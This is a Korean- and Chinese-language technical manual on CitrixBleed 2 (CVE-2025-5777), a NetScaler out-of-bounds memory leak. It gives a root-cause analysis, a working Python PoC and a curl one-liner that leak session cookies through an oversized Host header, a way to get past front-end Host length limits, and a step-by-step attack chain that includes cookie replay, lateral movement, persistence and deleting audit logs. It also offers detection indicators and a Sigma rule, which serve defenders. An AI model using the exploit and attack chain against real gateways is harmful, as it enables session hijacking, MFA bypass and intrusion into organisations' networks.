
CitrixBleed 2 — CVE-2025-5777(경계 초과 유출) PoC 및 탐지 키트 상세 설명
NetScaler ADC / Gateway의 Out-of-Bounds Memory Read — 원인부터 공방 실전까지의 전방위 매뉴얼
0x00 引言 / 速览
0x01 背景:NetScaler 架构与 CitrixBleed 1 回顾
0x02 漏洞描述(影响版本、CVSS、利用后果)
0x03 触发机理深剖(源码级分析 & 调试截图)
0x04 最小 PoC + 高级扫描脚本
0x05 红队视角:完整攻击链(发现 → 泄露 → 会话劫持 → 内网横向)
0x06 蓝队视角:检测、取证与补丁验证
0x07 防御加固:补丁、WAF、配置、资产治理
0x08 学习 / 复习路线图与实战实验
附录 A Sigma / Suricata / Nginx-Lua 规则
附录 B 补丁/利用时间轴 & IoC 快照
参考资料
Host 헤더가 포함된 GET 요청 한 번만 보내면 장치가 임의의 메모리 블록을 HTTP 응답과 함께 클라이언트에 "내뱉도록" 만들 수 있습니다.NSC_USER / NSC_TASS 쿠키, SAML StateContext, MFA 토큰 등의 핵심 자료가 자주 포함되어 있어, 이를 그대로 재사용해 세션 하이재킹과 MFA 우회를 수행할 수 있습니다 ([arcticwolf.com][1], [tenable.com][2]).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway 认证
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ 正向到应用
│ CVPN / RDP │
└──────────────┘
NetScaler는 멀티프로세스 + 내부 IPC 설계를 채택합니다. WebProc는 /nf/auth/*, /oauth/* 등을 포함한 AAA / Gateway 경로의 대부분의 HTTP 요청을 처리합니다. NetScaler는 C 언어로 작성되어 XML/HTML 조각을 조립할 때마다 snprintf() / memcpy()를 광범위하게 사용합니다.
/oauth/idp/.well-known/openid-configuration에서 발생했습니다.snprintf의 반환값을 이후 send()의 len 인자로 사용하는 것이며, 그 결과 메모리 경계를 벗어난 데이터가 응답으로 반환됩니다.Lesson Learned: 보안 패치가 "프로그래밍 패러다임"이 아닌 "취약 지점"만을 겨냥한다면, "템플릿화된 재현"의 여지가 남게 됩니다.
| 필드 | 내용 |
|---|---|
| CVE | CVE-2025-5777 |
| 별칭 | CitrixBleed 2 |
| 취약점 유형 | Out-of-Bounds Read / 정보 유출 |
| CVSS v4 Base | 9.3 (Crit.) ([netscaler.com][3]) |
| 영향받는 버전 | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3]) |
| 악용 조건 | NetScaler가 Gateway(VPN/ICA Proxy/CVPN/RDP Proxy) 또는 AAA 가상 서버로 구성된 경우 ([arcticwolf.com][1]) |
| 악용 결과 | 메모리 유출 → 세션 토큰 → 인증 우회 / MFA 우회 → 횡적 이동 |
이 섹션은 13.1-55.18 펌웨어에 대한 디컴파일 + gdb 디버깅을 기반으로 공개 블로그 자료를 종합하여 작성되었습니다 ([bishopfox.com][5]).
/nf/auth/startwebview.doHost 헤더<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length 可 > 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
Bug 지점:
snprintf는 "실제로 기록된 길이"가 아닌 "기록되었어야 할 길이"를 반환합니다. 사용자가 전달한Host가 0x1800 - 상수 부분 길이보다 크다면length>sizeof(buf)가 됩니다.
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 bytes limit
↑
被 ns_vpn_send_response 一并发出
GDB 중단점 데모(핵심 레지스터):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
read() 결과, 뒤쪽 1,600바이트는 초기화되지 않은 메모리에서 비롯되었으며, 그 안에 다른 SSL 세션의 쿠키 버퍼가 보였습니다.
| 분류 | 예시 조각(비식별 처리됨) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP 토큰 | radius_state=0e2a9c6d1553... |
| 기타 요청 본문 | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
leak.bin에서 Cookie=, <AuthenticateContext> 등의 키워드를 검색합니다.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
우회(Bypass): 일부 장치는 앞단의 F5 / Nginx에서
Host길이를 제한합니다. 이 경우 멀티 레벨 서브도메인을 이어 붙여 우회할 수 있습니다. 예:foo.foo.foo.…foo.example.com(foo를 3000회 반복).
| 단계 | 목적 & 기법 |
|---|---|
| ① 자산 탐색 | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan 등; set-cookie: NSC_ 필터링 |
| ② PoC 유출 | 배치 스크립트로 병렬 요청; NSC_USER= ; NSC_TASS= 수집 |
| ③ Cookie 재생 | Chrome DevTools→Application→Cookies→항목 추가 후 /vpn/index.html 새로고침 |
| ④ 내부망 리소스 | storeweb/#home에 접속해 RDP 파일 획득; .ica를 다운로드해 VDI에 직접 로그인 |
| ⑤ 권한 상승 | 내부 자격 증명 스프레이, Kerberoast, ADCS ESC1; 또는 동일 네트워크 세그먼트의 취약한 SMB 패스워드 활용 |
| ⑥ 지속성 | Scheduled Task 생성; 자동 시작 스크립트 등록; 또는 NetScaler vDisk 수정(고권한 필요, 운영 실수 이용) |
| ⑦ 흔적 정리 | Cookie는 사용 후 즉시 폐기; audit 로그 삭제(NS root 확보 시); 또는 logrotate race를 이용한 덮어쓰기 |
실제 사례: ReliaQuest는 고객 게이트웨이에서 "단시간에 대량의 6KB+ Host 헤더 요청 → 이어서 세션 탈취"를 관측했습니다 ([reliaquest.com][4]).
| 출처 | 징후 |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
| HTTP_ACCESS.log | /nf/auth/startwebview.do 요청은 처리 시간이 매우 짧지만 응답 크기가 비정상적임(> 2 KB) |
| EDR/PCAP | 비로그인 요청의 응답에서 Set-Cookie: NSC_USER= 발견 |
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical